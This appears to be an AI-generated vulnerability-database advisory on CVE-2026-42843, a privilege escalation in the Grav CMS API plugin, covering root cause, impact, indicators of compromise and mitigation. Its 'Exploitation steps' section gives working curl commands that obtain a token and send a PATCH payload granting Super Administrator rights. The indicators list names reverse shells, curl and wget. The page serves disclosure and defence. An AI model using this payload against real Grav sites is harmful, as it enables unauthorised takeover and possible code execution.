CVE-2026-42843: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-42843 is a privilege escalation vulnerability in the Grav CMS API plugin (grav-plugin-api) caused by an insecure direct object reference (IDOR) and authorization logic flaw in UsersController::update. Any authenticated user with basic api.access permission can modify their own permission configuration to grant themselves Super Administrator rights (admin.super and api.super), leading to full system compromise and potential remote code execution. The vulnerability affects all versions of getgrav/grav-plugin-api prior to 1.0.0-beta.15 (and Grav core 2.0.0-beta.2). It was published to the GitHub Advisory Database on May 5, 2026, and reviewed by NVD on May 11, 2026. The CVSS v3.1 base score is 8.8 (High) (GitHub Advisory, Grav Security Advisory).

Technical details

The root cause is CWE-863 (Incorrect Authorization). The vulnerable code resides in user/plugins/api/classes/Api/Controllers/UsersController.php. When a user edits their own profile, the code correctly requires only api.access permission — but the $allowedFields whitelist used for PATCH requests includes the access field (which controls roles and permissions) without any secondary check to verify whether the requesting user is an administrator. This means any low-privileged user can send a crafted PATCH request to /api/v1/users/<username> with a JSON payload setting admin.super: true and api.super: true, overwriting their own permission object. No elevated privileges or user interaction are required beyond possessing a basic API account (GitHub Advisory, Grav Security Advisory).

Impact

Successful exploitation results in complete vertical privilege escalation from a basic API user to Super Administrator, granting full control over the Grav CMS instance. An attacker with Super Admin access can modify site content, alter system configurations, upload malicious plugins, or edit Twig templates outside the sandbox to achieve remote code execution on the underlying server. This affects confidentiality, integrity, and availability at the highest level, and could serve as a pivot point for further lateral movement within the hosting environment (GitHub Advisory).

Exploitability

A proof-of-concept exploit consisting of sequential curl commands is publicly documented in the official GitHub Security Advisory, making exploitation straightforward for any attacker with a valid low-privileged API account. The exploit requires only three HTTP requests (POST to obtain a JWT, PATCH to escalate privileges, and optional verification via admin login). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.039% (0.000390), placing it in the 15th percentile for exploitation likelihood. The vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, Grav Security Advisory).

Exploitation steps

  1. Reconnaissance: Identify Grav CMS instances with the API plugin enabled (versions prior to 1.0.0-beta.15). Confirm API availability by probing /api/v1/ endpoints.
  2. Obtain credentials: Acquire or register a low-privileged user account with api.access permission on the target Grav instance.
  3. Authenticate and obtain JWT: Send a POST request to the authentication endpoint to retrieve an access token:
curl -X POST http://<target>/api/v1/auth/token \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"your_password"}'
  1. Send privilege escalation payload: Issue a PATCH request to the user update endpoint, injecting a malicious access object that grants Super Administrator rights:
curl -X PATCH http://<target>/api/v1/users/user1 \
  -H "X-API-Token: <access_token>" \
  -H "Content-Type: application/json" \
  -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
  1. Verify and exploit: Log in to the Grav Admin panel with the same credentials. The account now has full Super Administrator privileges, enabling content modification, plugin uploads, Twig template editing, or other actions leading to RCE (GitHub Advisory, Grav Security Advisory).

Indicators of compromise

  • Network: Unexpected PATCH requests to /api/v1/users/<username> containing an access field in the JSON body from non-administrative accounts; POST requests to /api/v1/auth/token followed immediately by PATCH requests to user endpoints from the same source IP.
  • Logs: API access logs showing a low-privileged user account issuing PATCH requests to their own user endpoint with admin.super or api.super in the request body; sudden privilege changes recorded in Grav user account files.
  • File System: Unexpected modifications to user YAML files under user/accounts/ (e.g., user1.yaml) with super: true added to the access block; newly uploaded plugins or modified Twig templates in user/plugins/ or user/themes/ directories.
  • Process: Unusual child processes spawned by the web server process (e.g., php, apache2, nginx) such as reverse shells, curl, wget, or scripting interpreters following admin panel activity (GitHub Advisory).

Mitigation and workarounds

Update the Grav API plugin to version 1.0.0-beta.15 or later, which removes the access field from the self-edit $allowedFields whitelist or adds a secondary authorization check. As an interim workaround, restrict api.access permissions to only fully trusted users, and implement network-level controls (e.g., firewall rules, reverse proxy ACLs) to limit access to API endpoints. Administrators should audit existing user accounts for unauthorized admin.super or api.super permissions and review recent PATCH requests to /api/v1/users/ endpoints for signs of exploitation (GitHub Advisory, Grav Security Advisory).

Community reactions

The vulnerability was covered by The Hacker Wire, which published a dedicated article on the privilege escalation issue (The Hacker Wire). Community discussion was noted on Bluesky, with cybersecurity accounts sharing the advisory. The vulnerability was also tracked by threat intelligence aggregators including VulnDB and Offseq Radar. No major vendor statements beyond the official Grav security advisory have been identified.

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hx92-2qxg-m977HIGH7.8
  • PHP logoPHP
  • ray/aop
NoYesNov 21, 2026
GHSA-p5q8-69rj-ff33HIGH7.8
  • PHP logoPHP
  • ray/di
NoYesNov 21, 2026
GHSA-vpqj-26g5-4qqmHIGH7.4
  • PHP logoPHP
  • simplesamlphp/saml2
NoNoNov 22, 2026
GHSA-2g6w-c7gx-fxj8MEDIUM5.4
  • PHP logoPHP
  • guzzlehttp/guzzle
NoYesNov 21, 2026
GHSA-m9j4-54gj-jvf8MEDIUM5.3
  • PHP logoPHP
  • league/csv
NoYesNov 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management